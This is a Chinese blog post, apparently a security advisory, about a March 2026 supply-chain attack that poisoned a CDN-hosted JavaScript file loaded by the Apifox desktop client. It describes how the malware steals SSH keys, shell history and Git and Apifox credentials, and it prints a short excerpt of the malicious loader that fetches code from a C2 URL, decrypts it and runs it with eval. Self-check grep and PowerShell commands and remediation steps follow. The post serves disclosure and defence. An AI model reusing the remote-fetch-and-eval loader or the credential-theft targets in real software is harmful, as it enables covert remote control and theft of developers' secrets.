紧急自查!Apifox被投毒,使用者速看:你的Git、SSH、云密钥可能已泄露

关注我的公众号:【编程朝花夕拾】,可获取首发内容。

01 引言

近期,国内流行的 API 协作平台 Apifox 遭遇了一起严重的供应链投毒攻击。攻击者通过篡改 CDN 托管的 JavaScript 文件,在官方桌面客户端中植入恶意代码,意图窃取开发者的核心凭证并实施远程控制。

这场攻击从 2026 年 3 月 4 日开始,持续活跃了 18 天,直到 3 月 22 日恶意域名才停止解析。由于 Apifox 被广泛应用于研发团队,此次事件的影响范围极广,Windows、macOS 和 Linux 平台用户均受影响。

02 事件概述

2.1 概述

2026年3月25日,安全研究人员披露了一起针对知名API协作平台Apifox的供应链投毒攻击。攻击者通过篡改Apifox官方CDN托管的JavaScript文件,在桌面端应用中植入了恶意代码,意图窃取开发者的SSH密钥、Git凭证、命令行历史等敏感信息,并具备远程执行任意代码的能力。

此次攻击利用了Apifox基于Electron框架开发的安全缺陷,在未启用沙盒(Sandbox)的情况下,通过网络加载的恶意JS代码获得了本地Node.js环境的完整权限。攻击从2026年3月4日开始,持续至3月22日,共活跃18天。

2.2 过程

Apifox桌面端启动时会加载一个用于事件追踪的JS文件:

hxxps://cdn[.]apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js

正常情况下该文件大小为34KB,但在3月4日之后,用户可能请求到被投毒的版本(77KB)。投毒后的文件在合法SDK代码后追加了约42KB的高度混淆恶意代码。

2.3 核心恶意功能

攻击者在代码中硬编码了一个RSA-2048私钥,用于加密上报的敏感信息和解密C2下发的指令。这一设计失误使得任何获取该代码的人都能解密C2通信,也是本次攻击链得以完整还原的关键。

恶意代码通过MAC地址、CPU型号、主机名、用户主目录、操作系统平台构造唯一标识,经SHA-256哈希后存储在localStorage中。从localStorage读取common.accessToken,调用官方API获取用户邮箱和姓名,经RSA加密后附加到请求头中上报.通过RSA加密的payload解密后直接执行,实现完全的远程代码执行能力。

C2通信与远程代码执行

js 复制代码
const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code); // 任意远程代码执行

03 影响范围

3.1 受影响的版本和平台

  • 受影响版本:Apifox SaaS版桌面客户端 2.8.19 以下版本
  • 受影响平台:Windows、macOS、Linux全平台
  • 受影响时间窗口:2026年3月4日至3月22日

3.2 数据窃取的范围

攻击脚本会系统性收集并加密外传以下敏感信息:

  • SSH私钥:利用~/.ssh/id_rsa直接登录服务器
  • Shell命令历史:使用history文件获取泄露明文密码、Token、数据库连接串等
  • Apifox凭证:通过accessToken、userId接管账号,窃取API文档
  • Git凭证:通过Git Token窃取代码仓库

04 自查指南

通过脚本检查:

bash 复制代码
# Windows PowerShell下执行
Select-String -Path "$env:APPDATA\apifox\Local Storage\leveldb\*" -Pattern "rl_mc","rl_headers" -List | Select-Object Path

# macOS 终端下执行
grep -arlE "rl_mc|rl_headers" ~/Library/Application\ Support/apifox/Local\ Storage/leveldb

如果有输出具体文件则可以判定中招,需要及时采取补救措施。

我赶紧查了我的电脑,所幸没有波及。

05 修复处理

  • 版本升级到**2.8.19**及以上
  • 重置凭证
  • 阻断恶意域名

官方也给出了修复建议:

相关推荐
坚定信念,勇往无前6 小时前
Maven 私有仓库-nexus
java
Minner-Scrapy6 小时前
Scrapy 2.17 源码解析:Scheduler 调度器与磁盘/内存双队列
java·爬虫·python·scrapy·网络爬虫·twisted
晚风醉蝶6 小时前
1-11-奇偶排序-OddEvenSort
java·数据结构·算法
陈随易7 小时前
Bun v1.4 更新总结:把浏览器、图片、定时任务和工程工具都装进一个运行时
前端·后端·程序员
夏天拐跑了西瓜7 小时前
Spring Cloud 微服务实战(三):一个服务挂了,凭什么拖垮整个系统?Sentinel 限流熔断实战
java·spring cloud·微服务
2601_967264287 小时前
Jetpack Compose 实践指南:从入门到进阶
java·学习
人间凡尔赛7 小时前
2026 后端架构三驾马车:Wasm 容器上 K8s、存算分离与 AI 原生
后端·云原生·架构
m0_587383008 小时前
社区家政系统开发实战:从需求分析到上线部署全指南
java·spring boot·spring·需求分析
凤山老林8 小时前
动态 i18n 体系落地:Spring Boot 多租户热加载与前后端协同实践
java·spring boot·后端·i18n
东风破_8 小时前
TypeScript 高级类型进阶:keyof、Exclude、Record 与类型组合思想
前端·后端·typescript